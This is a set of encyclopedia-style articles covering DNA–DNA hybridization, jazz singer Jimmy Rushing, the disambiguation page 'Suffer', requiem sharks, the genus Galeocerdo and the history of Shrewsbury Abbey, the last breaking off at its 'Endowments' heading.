Charles Sibley and Jon Ahlquist, pioneers of the technique, used DNA–DNA hybridization to examine the phylogenetic relationships of avians (the Sibley–Ahlquist taxonomy) and primates.
In radioactivity
In 1969, one such method was performed by Mary Lou Pardue and Joseph G. Gall at the Yale University through radioactivity where it involved the hybridization of a radioactive test DNA in solution to the stationary DNA of a cytological preparation, which is identified as autoradiography.
Replacement by genome sequencing
Critics argue that the technique is inaccurate for comparison of closely related species, as any attempt to measure differences between orthologous sequences between organisms is overwhelmed by the hybridization of paralogous sequences within an organism's genome. DNA sequencing and computational comparisons of sequences is now generally the method for determining genetic distance, although the technique is still used in microbiology to help identify bacteria.
In silico methods
The modern approach is to carry out DNA–DNA hybridization in silico using completely or partially sequenced genomes. The GGDC developed at DSMZ is the most accurate known tool for calculating DDH-analogous values. Among other algorithmic improvements, it solves the problem with paralogous sequences by carefully filtering them from the matches between the two genome sequences.
See also
DNA melting
Temperature gradient gel electrophoresis
References
Further reading
Graur, D. & Li, W-H. 1991 (2nd ed. 1999). Fundamentals of Molecular Evolution.
Molecular biology
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241193 | https://en.wikipedia.org/wiki/Jimmy%20Rushing | Jimmy Rushing | James Andrew Rushing (August 26, 1901 – June 8, 1972) was an American singer and pianist from Oklahoma City, Oklahoma, U.S., best known as the featured vocalist of Count Basie's Orchestra from 1935 to 1948.
Rushing was known as "Mr. Five by Five" and was the subject of an eponymous 1942 popular song that was a hit for Harry James and others; the lyrics describe Rushing's rotund build: "he's five feet tall and he's five feet wide". He joined Walter Page's Blue Devils in 1927 and then joined Bennie Moten's band in 1929. He stayed with the successor Count Basie band when Moten died in 1935.
Rushing said that his first time singing in front of an audience was in 1924. He was playing piano at a club when the featured singer, Carlyn Williams, invited him to do a vocal. "I got out there and broke it up. I was a singer from then on," he said.
Rushing was a powerful singer who had a range from baritone to tenor. He has sometimes been classified as a blues shouter. He could project his voice so that it soared over the horn and reed sections in a big-band setting. Basie claimed that Rushing "never had an equal" as a blues vocalist, though Rushing "really thought of himself as a ballad singer." George Frazier, the author of Harvard Blues, called Rushing's voice "a magnificent gargle". Dave Brubeck defined Rushing's status among blues singers as "the daddy of them all." Late in his life, Rushing said of his singing style, "I don't know what kind of blues singer you'd call me. I just sing 'em." Among his best-known recordings are "Going to Chicago", with Basie, and "Harvard Blues", with a saxophone solo by Don Byas.
Life and career
Rushing was born into a family with musical talent and accomplishments. His father, Andrew Rushing, was a trumpeter, and his mother, Cora, and her brother were singers. He studied music theory with Zelia N. Breaux at Frederick A. Douglass High School in Oklahoma City and was unusual among his musical contemporaries for having attended college at Wilberforce University.
Rushing's father encouraged him to play violin: "He had bought me a violin, and he had forbidden me to touch the piano." But when his father "left the house, he'd lock the piano and give my mother the key. We'd watch him go away, and then she'd give me the key."
Rushing was inspired to pursue music and sing blues by his uncle Wesley Manning and George "Fathead" Thomas of McKinney's Cotton Pickers. He toured the Midwest and California as an itinerant blues singer in the early 1920s before moving to Los Angeles, where he played piano and sang with Jelly Roll Morton. He also sang with Billy King before moving on to Walter Page's Blue Devils in 1927. He and other members of the Blue Devils defected to the Bennie Moten band in 1929.
Moten died in 1935, and Rushing joined Count Basie for what would be a 13-year job. Due to his tutelage under his mentor Moten, Rushing was a proponent of the Kansas City, Missouri, jump blues tradition exemplified by his performances of "Sent for You Yesterday" and "Boogie Woogie" for the Count Basie Orchestra. After leaving Basie, his recording career continued as a singer with other bands.
When the Basie band broke up in 1950, he retired briefly but then formed his own group. He made a guest appearance with Duke Ellington for the 1959 album Jazz Party. In 1960, he recorded an album with the Dave Brubeck Quartet.
He appeared in the 1957 television special Sound of Jazz, singing one of his signature songs, "I Left My Baby", backed by many of his former Basie band members. In 1958, he was among the musicians included in an Esquire magazine photo by Art Kane that was memorialized in the documentary film A Great Day in Harlem. He toured the UK with Humphrey Lyttelton and his band. A BBC broadcast with Rushing accompanied by Lyttelton's big band was released in 2009. In 1960, he appeared in a videotaped blues jam at the Newport Jazz Festival with the Muddy Waters Blues Band, singing "Mean Mistreater". In 1969, Rushing appeared in The Learning Tree, the first major studio feature film directed by an African-American, Gordon Parks.
Rushing died June 8, 1972 at Flower Fifth Avenue Hospital in New York City, and was buried at the Maple Grove Cemetery in Kew Gardens, Queens, New York. Until weeks before his death, he was singing on weekends at the Half Note Club in Manhattan. He lived in Jamaica, Queens.
Rushing was married twice. He had two sons, Robert and William, with his second wife, Connie, to whom he was married from the 1940s until his death. Connie Rushing is credited with two compositions on his 1968 solo album Livin' the Blues.
Rushing was one of eight jazz and blues legends honored in a set of United States Postal Service stamps issued in 1994.
Critical assessment
Rushing was held in high critical esteem during his career and after his death. Whitney Balliett, jazz critic for The New Yorker, wrote of Rushing that, "His supple, rich voice and his elegant accent have the curious effect of making the typical roughhouse blues lyric seem like a song by Noël Coward". The critic Nat Hentoff, who ranked Rushing as one of the "greatest blues singers," credited him as a seminal influence in the development of post–World War II popular black music. Hentoff wote that rhythm and blues "has its roots in the blues shouting of Jimmy Rushing...and in the equally stentorian delivery of Joe Turner..." Scott Yanow described Rushing as the "perfect big band singer" who "was famous for his ability to sing blues, but in reality he could sing almost anything." In an essay about his fellow Oklahoman, the writer Ralph Ellison wrote that it was "when Jimmy's voice began to soar with the spirit of the blues that the dancers – and the musicians – achieve that feeling of communion which was true meaning of the public jazz dance." Ellison said Rushing began as a singer of ballads, "bringing to them a sincerity and a feeling for dramatizing the lyrics in the musical phrase which charged the banal lines with the mysterious potentiality of meaning which haunts the blues." In contrast with Rushing's reputation, he "seldom comes across as a blues 'shouter,' but maintains the lyricism which has always been his way with the blues," wrote Ellison. According to Gary Giddins, Rushing "brought operatic fervor to the blues," and of his time with Count Basie notes that "just about every record they made together is a classic."
He was a four-time winner of Best Male Singer in the Critics' Poll of Melody Maker and a four-time winner of Best Male Singer in the International Critics' Poll in Down Beat. His 1971 album The You and Me That Used to Be was named Jazz Album of the Year by Down Beat, and he received the 1971 Grammy nomination Best Jazz Performance by a Soloist.
Discography
Sings the Blues (Vanguard, 1955)
Goin' to Chicago (Vanguard, 1955)
Listen to the Blues with Jimmy Rushing (Jazztone, 1956)
Cat Meets Chick with Buck Clayton, Ada Moore (Columbia, 1956)
The Jazz Odyssey of James Rushing Esq. with Buck Clayton (Columbia, 1957)
If This Ain't the Blues (Vanguard, 1958)
Little Jimmy Rushing and the Big Brass (Columbia, 1958)
Rushing Lullabies (Columbia, 1959)
Bessie - Clara - Mamie & Trixie (The Songs They Made Famous) (Columbia, 1961)
Five Feet of Soul (Colpix, 1963)
Big Boy Blues with Al Hibbler (Grand Prix Series, 1964)
Who Was It Sang That Song? (Master Jazz, 1967)
Every Day I Have the Blues with Oliver Nelson (Bluesway, 1967)
Livin' the Blues (Bluesway, 1968)
Blues and Things with Earl Hines (Master Jazz, 1968)
Gee Baby Ain't I Been Good to You (Master Jazz, 1971)
The You and Me That Used to Be (RCA, 1971)
Jimmy & Jimmy with Jimmy Witherspoon (Vogue, 1987)
The Scene: Live in New York with Al Cohn, Zoot Sims (HighNote, 2009)
As guest
With the Count Basie Orchestra
Count Basie at Newport (Verve, 1957)
At Savoy Ballroom 1937–1944 (Jazz Line, 1972)
The Newport Years Volume VI (Verve, 1973)
1944 (Hindsight, 1986)
The Original American Decca Recordings (GRP, 1992)
With others
Dave Brubeck, Brubeck & Rushing (Columbia, 1960)
Buck Clayton, Copenhagen Concert (SteepleChase, 1979)
Duke Ellington, Ellington Jazz Party (Philips, 1960)
Benny Goodman, Benny in Brussels (Columbia, 1958)
References
Further reading
Basie, Count; Feather, Leonard (1986). Good Morning Blues: The Autobiography of Count Basie, New York: Random House. .
Carr, Ian; Fairweather, Digby; Priestley, Brian (2004). Rough Guide Jazz. 2nd ed. Stuttgart: Metzler. .
Cook, Richard; Morton, Brian (2006). The Penguin Guide to Jazz Recordings. 8th ed. London: Penguin. .
Feather, Leonard; Gitler, Ira (1999). The Biographical Encyclopedia of Jazz. New York: Oxford. .
Friedwald, Will (1992). Swinging Voices of America – Ein Kompendium großer Stimmen. St. Andrä-Wördern: Hannibel. . (In German.)
External links
Jimmy Rushing interview at The Half Note, 1968 (audio)
Jimmy Rushing at Pep's, 1959 (audio)
Swing singers
Jump blues musicians
East Coast blues musicians
1901 births
1972 deaths
American blues singers
American jazz singers
Jazz-blues musicians
Musicians from Oklahoma City
Deaths from leukemia
Singers from Oklahoma
Deaths from cancer in New York (state)
20th-century American singers
Jazz musicians from Oklahoma
Oklahoma City Blue Devils members | [
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241196 | https://en.wikipedia.org/wiki/Suffer%20%28disambiguation%29 | Suffer (disambiguation) | Suffer may refer to suffering.
Suffer may also refer to:
Music
Suffer (album), by Bad Religion
"Suffer", a song by Grace Jones from her album Muse
"Suffer", a song by Staind from their album Break The Cycle
"Suffer", a song by Stone Sour from Come What(ever) May
"Suffer", a song by Suicide Silence from their album No Time to Bleed
"Suffer", a song by The Smashing Pumpkins from their album Gish
"Suffer", a song by The Smith Street Band from their album More Scared of You Than You Are of Me
Other uses
Allow, a synonym for suffer, as in, "Suffer the children to come unto me"
Endurance, sufferance
See also
Suffrage
The Suffering (disambiguation) | [
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241204 | https://en.wikipedia.org/wiki/Requiem%20shark | Requiem shark | Requiem sharks are sharks of the family Carcharhinidae in the order Carcharhiniformes. They are migratory, live-bearing sharks of warm seas (sometimes of brackish or fresh water) and includes such species as the tiger shark, bull shark, spinner shark, blacknose shark, blacktip shark, grey reef shark, blacktip reef shark, silky shark, dusky shark, blue shark, copper shark, oceanic whitetip shark, and whitetip reef shark.
Family members have the usual carcharhiniform characteristics. Their eyes are round, and one or two gill slits fall over the pectoral fin base. Most species are ovoviviparous, the young being born fully developed. They vary widely in size, from as small as adult length in the Australian sharpnose shark, up to adult length in the tiger shark. Scientists assume that size and shape of their pectoral fins have the right dimensions to minimize transport cost. Requiem sharks tend to live in more tropical areas, but tend to migrate. Females release a chemical in the ocean in order to let the males know they are ready to mate. Typical mating time for these sharks are around spring to autumn.
Requiem sharks are involved in a large proportion of attacks on humans, among the top five species; however, due to the difficulty in identifying individual species, a degree of inaccuracy exists in attack records.
Etymology
The common name requiem shark may be related to the French word for shark, requin, which is itself of disputed etymology. One derivation of the latter is from Latin requiem ("rest"), which would thereby create a cyclic etymology (requiem-requin-requiem), but other sources derive it from the Old French verb reschignier ("to grimace while baring teeth").
The scientific name Carcharhinidae was first proposed in 1896 by D.S. Jordan and B.W. Evermann as a subfamily of Galeidae (now replaced by "Carcharhinidae"). The term is derived from Greek karcharos (sharp or jagged); and rhine (rasp), both elements describe the jagged, rasp-like skin. Rasp-like skin is typical of shark skin in general, and is not diagnostic to Carcharhinidae.
Hunting strategies
Requiem sharks are extraordinarily fast and effective hunters. Their elongated, torpedo-shaped bodies make them quick and agile swimmers, so they can easily attack any prey. They have a range of food sources depending on their location and species that includes bony fish, squids, octopuses, lobsters, turtles, marine mammals, seabird, other sharks and rays. They are often considered the "garbage cans" of the seas because they will eat almost anything, even non-food items like trash. They are migratory hunters that follow their food source across entire oceans. They tend to be most active at night time, where their impressive eyesight can help them sneak up on unsuspecting prey. Most requiem sharks hunt alone, however some species like the whitetip reef sharks and lemon sharks are cooperative feeders and will hunt in packs through coordinated, timed attacks against their prey.
Classification
The 60 species of requiem shark are grouped into 12 genera:
Genus Galeocerdo J. P. Müller & Henle, 1837
Galeocerdo cuvier Péron & Lesueur, 1822 (tiger shark)
Genus Scoliodon J. P. Müller & Henle, 1838
Scoliodon laticaudus J. P. Müller & Henle, 1838 (spadenose shark)
Scoliodon macrorhynchos Bleeker, 1852 (Pacific spadenose shark)
Genus Carcharhinus Blainville, 1816
Carcharhinus acronotus Poey, 1860 (blacknose shark)
Carcharhinus albimarginatus Rüppell, 1837 (silvertip shark)
Carcharhinus altimus S. Springer, 1950 (bignose shark)
Carcharhinus amblyrhynchoides Whitley, 1934 (graceful shark)
Carcharhinus amblyrhynchos Bleeker, 1856 (grey reef shark)
Carcharhinus amboinensis J. P. Müller & Henle, 1839 (pigeye shark)
Carcharhinus borneensis Bleeker, 1858 (Borneo shark)
Carcharhinus brachyurus Günther, 1870 (copper shark)
Carcharhinus brevipinna J. P. Müller & Henle, 1839 (spinner shark)
Carcharhinus cautus Whitley, 1945 (nervous shark)
Carcharhinus cerdale C. H. Gilbert, 1898 (Pacific smalltail shark)
Carcharhinus coatesi Whitley, 1939 (Coates's shark)
Carcharhinus dussumieri J. P. Müller & Henle, 1839 (whitecheek shark)
Carcharhinus falciformis J. P. Müller & Henle, 1839 (silky shark)
Carcharhinus fitzroyensis Whitley, 1943 (creek whaler)
Carcharhinus galapagensis Snodgrass & Heller, 1905 (Galapagos shark)
Carcharhinus hemiodon J. P. Müller & Henle, 1839 (Pondicherry shark)
Carcharhinus humani W. T. White & Weigmann, 2014 (Human's whaler shark)
Carcharhinus isodon J. P. Müller & Henle, 1839 (finetooth shark)
Carcharhinus leiodon Garrick, 1985 (smoothtooth blacktip shark)
Carcharhinus leucas J. P. Müller & Henle, 1839 (bull shark)
Carcharhinus limbatus J. P. Müller & Henle, 1839 (blacktip shark)
Carcharhinus longimanus Poey, 1861 (oceanic whitetip shark)
Carcharhinus macloti J. P. Müller & Henle, 1839 (hardnose shark)
Carcharhinus melanopterus Quoy & Gaimard, 1824 (blacktip reef shark)
Carcharhinus obscurus Lesueur, 1818 (dusky shark)
Carcharhinus perezi Poey, 1876 (Caribbean reef shark)
Carcharhinus plumbeus Nardo, 1827 (sandbar shark)
Carcharhinus porosus Ranzani, 1839 (smalltail shark)
Carcharhinus sealei Pietschmann, 1913 (blackspot shark)
Carcharhinus signatus Poey, 1868 (night shark)
Carcharhinus sorrah J. P. Müller & Henle, 1839 (spot-tail shark)
Carcharhinus tilstoni Whitley, 1950 (Australian blacktip shark)
Carcharhinus tingae
Carcharhinus tjutjot Bleeker, 1852 (Indonesian whaler shark)
Carcharhinus obsolerus White, Kyne, and Harris, 2019 (lost shark)
Genus Glyphis Agassiz, 1843
Glyphis gangeticus (J. P. Müller & Henle, 1839) (Ganges shark)
Glyphis garricki Compagno, W. T. White & Last, 2008 (northern river shark)
Glyphis glyphis (J. P. Müller & Henle, 1839) (speartooth shark)
Glyphis sp. not yet described (Mukah river shark)
Genus Lamiopsis Gill, 1862
Lamiopsis temminckii (J. P. Müller & Henle, 1839) (broadfin shark)
Lamiopsis tephrodes (Fowler, 1905) (Borneo broadfin shark)
Genus Nasolamia Compagno & Garrick, 1983
Nasolamia velox (Gilbert, 1898) (whitenose shark)
Genus Negaprion Whitley, 1940
Negaprion acutidens (Rüppell, 1837) (sicklefin lemon shark)
Negaprion brevirostris (Poey, 1868) (lemon shark)
†Negaprion eurybathrodon (Blake, 1862)
Genus Prionace Cantor, 1849
Prionace glauca (Linnaeus, 1758) (blue shark)
Genus Rhizoprionodon Whitley, 1929
Rhizoprionodon acutus (Rüppell, 1837) (milk shark)
Rhizoprionodon lalandii (J. P. Müller & Henle, 1839) (Brazilian sharpnose shark)
Rhizoprionodon longurio (D. S. Jordan & Gilbert, 1882) (Pacific sharpnose shark)
Rhizoprionodon oligolinx V. G. Springer, 1964 (grey sharpnose shark)
Rhizoprionodon porosus (Poey, 1861) (Caribbean sharpnose shark)
Rhizoprionodon taylori (Ogilby, 1915) (Australian sharpnose shark)
Rhizoprionodon terraenovae (J. Richardson, 1836) (Atlantic sharpnose shark)
Genus Loxodon J. P. Müller & Henle, 1838
Loxodon macrorhinus (J. P. Müller & Henle, 1839) (sliteye shark)
Genus Isogomphodon Gill, 1862
Isogomphodon oxyrhynchus (J. P. Müller & Henle, 1839) (daggernose shark)
Genus Triaenodon J. P. Müller & Henle, 1837
Triaenodon obesus (Rüppell, 1837) (whitetip reef shark)
† = extinct
See also
Shark meat
References
External links
Requiem Shark Photo Gallery (Bahamas)
Elasmo-research
International Shark Attack File
Taxa named by David Starr Jordan
Taxa named by Barton Warren Evermann
Extant Valanginian first appearances | [
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] |
241206 | https://en.wikipedia.org/wiki/Galeocerdo | Galeocerdo | Galeocerdo is a genus of requiem sharks that have lived since the Paleocene epoch. While these sharks were formerly diverse, only G. cuvier (the modern tiger shark) survives today.
Species
Species in the genus Galeocerdo include:
†Galeocerdo aduncus
†Galeocerdo alabamensis
†Galeocerdo clarkensis
Galeocerdo cuvier
†Galeocerdo denticulatus
†Galeocerdo eaglesomi
†Galeocerdo gibberulus
†Galeocerdo latidens
†Galeocerdo mayumbensis
†Galeocerdo minor
†Galeocerdo mixtus
†Galeocerdo productus
References
Shark genera
Taxa named by Johannes Peter Müller
Taxa named by Friedrich Gustav Jakob Henle
Fish genera with one living species | [
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241207 | https://en.wikipedia.org/wiki/Shrewsbury%20Abbey | Shrewsbury Abbey | The Abbey Church of Saint Peter and Saint Paul, Shrewsbury (commonly known as Shrewsbury Abbey) is an ancient foundation in Shrewsbury, the county town of Shropshire, England.
The Abbey was founded in 1083 as a Benedictine monastery by the Norman Earl of Shrewsbury, Roger de Montgomery. It grew to be one of the most important and influential abbeys in England, and an important centre of pilgrimage. Although much of the Abbey was destroyed in the 16th century, the nave survived as a parish church, and today serves as the mother church for the Parish of Holy Cross.
The Abbey is a Grade I listed building and is a member of the Greater Churches Group. It is located to the east of Shrewsbury town centre, near the English Bridge, and is surrounded by a triangular area which is today referred to as Abbey Foregate.
History
Foundation
Before the Norman conquest a small Saxon chapel dedicated to St Peter stood outside the east gate of Shrewsbury; it had been built by Siward, son of Ethelgar and a close relative of Edward the Confessor. There was still a landowner, known as Siward the Fat, in Shropshire at Domesday, although he had owned many more estates in 1066. He must have been the donor of the two estates the church is known from Domesday to have held in 1066: at Boreton near Condover and Lowe near Farley. However, the Abbey had lost Lowe by 1087.
When Roger de Montgomery received Shropshire from William the Conqueror in 1071, he gave the church to one of his clerks, Odelerius of Orléans, the father of the historian Orderic Vitalis, who is the main source for the foundation of the Abbey and probably an eye-witness. Orderic stresses his father's role in persuading Earl Roger to commit himself to building a monastery and stresses that Odelerius from the outset wanted it to be Benedictine. The specific purpose was to benefit Earl Roger's soul.
On 25 February 1083 Earl Roger summoned his senior officials, including Warin, the Sheriff of Shropshire and Picot de Say, and publicly pledged himself to found a new Abbey, laying his gloves on the altar of St. Peter and granting the whole suburb outside the east gate for the construction. Reginald and Frodo, two monks from the great Benedictine Abbey of Saint-Martin-de-Séez in Southern Normandy, formed the nucleus of the new community, and began to plan and build the monks' lodging, working with Ordelerius and Warin. Domesday Book found the abbey under construction: "In the City of SHREWSBURY Earl Roger is building an Abbey and has given to it the monastery of St Peter where the parish (church?) of the City was." This suggests that Siward's foundation was already a monastery before Earl Roger began building but it is fairly certain there was no more than a wooden parish church.
When sufficiently complete (probably late in 1087), regular life began under the first abbot, Fulchred of Sées. The Abbey of Saint-Martin-de-Sées was closely associated with Shrewsbury in the early years because Earl Roger was its founder and he and the House of Bellême, into which he had married, were also major benefactors there, as were Roger's knights. A notification lodged at Sées in 1086 by Robert of Bellême, Roger's son, who was later to become 3rd Earl of Shrewsbury, shows that they used the monks as witnesses in their property deals and custodians of the documents. About the time he recruited Abbot Fulchred or Foucher, Earl Roger made a huge grant of estates in England to Sées, for the soul of recently deceased William the Conqueror, as well as of Queen Matilda and of Roger himself and his dead wife Mabel de Bellême. Some of these were estates he had originally intended for Mabel. It seems that Sées Abbey for a time harboured plans to claim jurisdiction over Shrewsbury and it also contested some properties granted by Earl Roger; however, Shrewsbury became independent.
Once it was safely under the leadership of Fulchred, Ordelirius placed Benedict, one of his sons, in Shrewsbury Abbey as an oblate, with a gift of 200 silver livres. Both Ordelirius himself and Earl Roger met their deaths as monks of the Abbey.
Difficulties and insecurity
Earl Roger and his associates added several estates and other sources of income to Shrewsbury Abbey's endowment, which had been valued at £46 18s. in 1086, before the first abbot was appointed. As well as rural manors, the abbey had urban property, mills, and the tithes and advowsons of many churches. However, Orderic, a shrewd observer, tells us that Roger only "moderately endowed with lands and rents" (terris ac redditibus mediocriter locupletavit). Moreover, there was a long wait ahead before some of the endowments were to materialise.
The abbey's modest but sufficient wealth was threatened, before many of the grants were confirmed by royal charter, when Earl Roger's son, Robert of Bellême, revolted against Henry I in 1102. The king exiled and expropriated his unruly vassal and the patronage of the abbey escheated to the Crown. This deprived the abbey of powerful local protection and gave the descendants and successors of donors an opportunity to wriggle out of their obligations. For example, Siward had given up any claims he might have to the abbey site in return for a life-time grant from Earl Roger of the estate of Langafeld, now Cheney Longville, which would pass to the abbey on his death. Siward's son, Aldred, refused to surrender the estate to the abbey until Abbot Fulchred gave him £15. This arrangement was engineered by Richard de Belmeis I, later Bishop of London, whom the king had sent to exercise viceregal powers in Shropshire after Earl Robert's expropriation. However, Richard was not to be trusted. On his death bed in 1127 he admitted to his confessors that he had lied about his tenure of Betton in Berrington, which really belonged to Shrewsbury Abbey – probably a grant from Robert de Limesey, then Bishop of Chester His confessor tried to clear up the matter by stating the facts to the interested parties. Although Richard had directed that the estate be restored to Shrewsbury Abbey, its status was contested by his lay successors for decades. In 1127 Philip de Belmeis sued for the estate, although he quickly defaulted. His younger son, Ranulph, tried again a few decades later, but gave up in return for acceptance into the abbey's lay fraternity. As late as 1212 Roger de la Zouche launched a fresh suit, in which he persisted for years, unsuccessfully. These were only examples of a morass of complex litigation into which the abbey was drawn.
However, Henry I himself seems to have been supportive of Shrewsbury Abbey, especially when in the vicinity. He confirmed Robert's gift of land Baschurch to Fulchred, perhaps while actually campaigning against Robert in Shropshire and Staffordshire. He also took Fulchred's side in a variety of disputes with officials of the royal forests in Shropshire and reminded local officials and barons that the abbey was exempt from all customs, as in the time of Earl Roger.
After this initial support, however, there was a long delay before the king took further action on the monastery's behalf. It is unclear when Abbot Fulchred died, but it was certainly some years before 1121, when Henry at last came to the support of Godfrey, the second abbot, with a series of charters. Some of these, at least, were issued within Shropshire: at Bridgnorth, Condover and Shrewsbury itself. These included a general statement of principle that the new abbot was to enjoy the same estates and privileges as his predecessor. Note was taken that the abbey had exchanged Henry de Say's manor of Brompton, south of Shrewsbury, for Siward's former estate of Cheney Longville in an attempt to improve management and economise by concentrating resources. Two documents announced and confirmed Henry's own valuable gift of multure or mill-right to the abbey within Shrewsbury. As the monks were to receive the miller's fee for all grain ground in the town, they had a monopoly over milling and no one else was allowed to grind corn without their permission. As it was related to the water power of the Severn and its tributaries, the king attached to the grant a monopoly over fisheries at both of the town's bridges. The newly appointed Bishop of Hereford, the ambitious royal administrator Richard de Capella, whose diocese included a large part of southern Shropshire, was specifically warned not to let the king hear of any complaints against himself in relation to the Abbey.
Robert of Shrewsbury and the translation of St Winifred
In 1137/38 Robert of Shrewsbury, who was prior under the third and fourth abbots, Herbert and Ralph, negotiated and carried out the translation of the remains of St Winifred from Gwytherin in Wales. Robert is thought to have been a member of the Pennant family of Downing, a few miles north-west of Holywell, the main shrine and fountain of Saint Winifred. He wrote a life of the saint shortly after the translation, adding an account of his mission to Wales, which is the main source of information about the events. The body was disinterred and borne ceremoniously to Shrewsbury, a week's journey on foot and thus encumbered. There it was laid in the church of St Giles to await the blessing of the Bishop of Coventry and Lichfield. Overnight a youth was enabled to walk again by the presence of the reliquary. It was taken in procession into the town. The expectation of an episcopal blessing ensured it was witnessed by "an incredible concourse of devout people" as it was taken to be placed on the altar of the Abbey church, where further miracles were reported. The relics were later enshrined in the abbey.
Robert is generally accepted as responsible for strengthening the cult of Winifred, who had hitherto been an obscure Welsh saint, so that she became the focus of pilgrimages from Shrewsbury and other centres from the 14th century to the present. Later he became the fifth abbot and, although little is known of his abbacy, he seems to have been zealous in pursuing the abbey's interests against local rivals. He was successful in recovering two portions of the tithes of Emstrey parish church which had been granted "against conscience and the consent of his convent" by Abbot Ralph to the church at Atcham. Emstrey was a large parish, which stretched from the western bank of the River Severn opposite Atcham to the Abbey Foregate. The Abbey cartulary contains an instrument by which the Archbishop, Theobald of Bec, orders Bishop Walter to restore the tithes to the abbey. The underlying rivalry was not between the Shrewsbury Abbey and the little church of St Eata, but between the Shrewsbury and its Augustinian rival, Lilleshall Abbey which was tightening its grip on Atcham manor and parish, apparently to expand it across the Severn. Its ownership of the ferry crossing at Atcham was an important source of income for Lilleshall. It had recently acquired the advowson of Atcham church, and was later allowed to appropriate the church by Thomas Becket. By the beginning of the Plantagenet era Shrewsbury Abbey faced considerable competition for resources from major monasteries in the vicinity. As well as Lilleshall, technically a royal foundation, but effectively the creation of the brothers Philip and Richard de Belmeis II, there was Haughmond Abbey, another large Augustinian house closely connected with the FitzAlan family, and Buildwas Abbey, a large Cistercian house that received gifts from many of the local nobility, including the Belmeis and FitzAlans.
The quest for relics seems to have played an important part in the abbey's effort to maintain itself in the face of such competition. Abbot Adam, Robert's successor, is known to have visited Canterbury, probably with this aim, and it was probably he who brought back an entire rochet that had belonged to Becket, part of another which was stained with the blood of his martyrdom, another cloth stained with his blood and brains, and various items of his clothing, including his hair shirt, collar, girdle, cowl, shirt and glove. A document prepared in the reign of Henry II lists these relics along with those of many other saints. Second only to the relics of Winifred were those of St Elerius, St Winifred's spiritual director, then wrongly considered the author of a life of Winifred that is now thought to date from about 1100.
Monastic life and management
The Benedictine Rule was not austere in comparison with the discipline of the Cistercians and Augustinians, and Shrewsbury Abbey was markedly less isolated than its competitors, located as it was in the suburbs of a major town. Because of good management, the abbey did not get into serious difficulties in the 12th century, despite the underlying problems with many of its endowments. Even in the early 12th century the abbey owned a number of properties in and around the town: orchards, a vineyard and a sand-pit. In the 13th century the integration with Shrewsbury became closer still, as the abbey expanded its holdings of urban property in the Abbey Foregate, the market, and elsewhere in the town. The great majority of the rural holdings were let to small farmers or cultivated as demesne lands; only rarely did the community let entire manors to laymen, and it was reluctant to tolerate leases of more than one lifetime. The demesnes were managed by lay bailiffs and stewards on behalf of the abbey; there is no evidence that the monks themselves ever cultivated the land.
Within the bounds of this fairly comfortable provision, monastic discipline was apparently quite good. In 1323-4 Bishop Roger Northburgh, recently appointed and at war with much of the ecclesiastical establishment in his diocese, instigated a series of canonical visitations that took in all of the abbeys and smaller houses around Shrewsbury. While criticisms were, in many cases, severe, Shrewsbury's shortcomings were fairly minor or very general: too many monks were missing meals in the refectory, novices were allowed out before they had properly learnt the Rule, and the accounts of the obedientiaries, the abbot's under-managers, were inadequate – this last a complaint made of nearly all religious houses in the diocese. Thirty years later, in the wake of the Black Death, Northburgh found buildings on many manors were in poor repair, but this was a sign of the times, not the fault of the monks.
In the later Middle Ages the number of monks ranged from 12 to 18. Generally one was away, heading Morville Priory, a dependent monastic cell between Bridgnorth and Much Wenlock. In addition to the canonical hours there was regular celebration of Mass in the growing number of chantries and other chapels. The chapel of St Mary, behind the High Altar, contained the tomb of Earl Roger and was endowed well from the early 13th century. A monk was appointed as its warden and it was initially used to celebrate Mass for visiting dignitaries. In 1343-4 a chantry was established there for the soul of Ralph of Shrewsbury, the Bishop of Bath and Wells, funded from the revenues of Boreton. Another chantry was endowed for John Burley in 1414, and shortly afterwards Henry V decided to establish a chantry in honour of St Winifred but, this had to wait until much later.
The abbey made some effort to develop its monks intellectually, as well as spiritually. In 1333, on the request of Edward III and Queen Philippa, the Pope allowed it to takeover the tithes of Wrockwardine parish church and devote them to the education in theology of two monks at a university, although the quota was later reduced to a single monk.
Abbots
The monarch was patron of the abbey, but there is no record of whether 12th-century monarchs actually played any part in the installation of Shrewsbury's abbots. Confusion has surrounded the election of Herbert, the third abbot. Orderic wrote that: Herbertus gubernaculum rudis abbatiae usurpavit. This has been translated to as stating that Herbert "usurped the rudder of the infant establishment" or that he simply "took the government of this rising community." He was consecrated by Archbishop William de Corbeil but later removed by a legatine council and replaced by Ralph or Ranulf. In 1250, during the reign of Henry III, there was a major dispute over the succession in which the local candidate, the sacrist Adam, was rejected by the bishop, who appointed William the sub-prior of Coventry. Both were set aside by the Pope, who provided instead Henry, a monk from Evesham Abbey. A month after his appointment Henry was also granted the privilege of wearing the pontifical ring. The king had played no independent part in the drama: nevertheless the Benedictine chronicler of Tewkesbury Abbey accused him of intruding William into Shrewsbury Abbey. Thereafter, abbots were invariably elected from within the monastic community.
The abbots became increasingly important political figures. Since the confiscation of Earl Robert's lands by the Crown, each Abbot of Shrewsbury was a tenant-in-chief, and with the summoning of Parliament in the reign of Henry III, compelled to attend. Abbot Luke bought a house in London to make it easier for himself and his successors to attend Parliament and perform other important political business. This was a good buy, as when the number of abbots summoned to parliament was fixed at 28 during the reign of Edward III, the Abbot of Shrewsbury was one of them. The Victoria County History asserts that the abbots were permitted by the Pope to wear the mitre from 1397. Abbot Richard Lye actually died in London while on parliamentary business in 1512 and was buried at St Bartholomew-the-Less in Smithfield.
List of Abbots
Fulchred, c. 1087-x 1119
Godfrey, x 1121-1128
Heribert, 1128–1138
Ranulf, x 1138-1147 x
Robert, occurs 1150 × 1159-1168
Adam, 1168 × 1173-1175
Ralph, elected 1175-1186 × 1190
Hugh de Lacy, fl. 1190 x 1220
Walter, 1221–1223
Henry, 1223–1244
Adam, 1244–1250
William, 1250–1251
Henry, 1251–1258
Thomas, 1259–1266
William of Upton, 1266–1271
Luke of Wenlock, 1272–1279
John of Drayton, 1279–1292
William of Muckley, 1292–1333
Adam of Cleobury, 1333–1355
Henry de Alston, 1355–1361
Nicholas Stevens, 1361–1399
Thomas Prestbury, 1399–1426
John Hampton, 1426–1433
Thomas Ludlow, 1433–1459
Thomas Mynde, 1460–1498
Richard Lye, 1498–1512
Richard Baker, 1512–1528
Thomas Boteler 1529–1540
Endowments
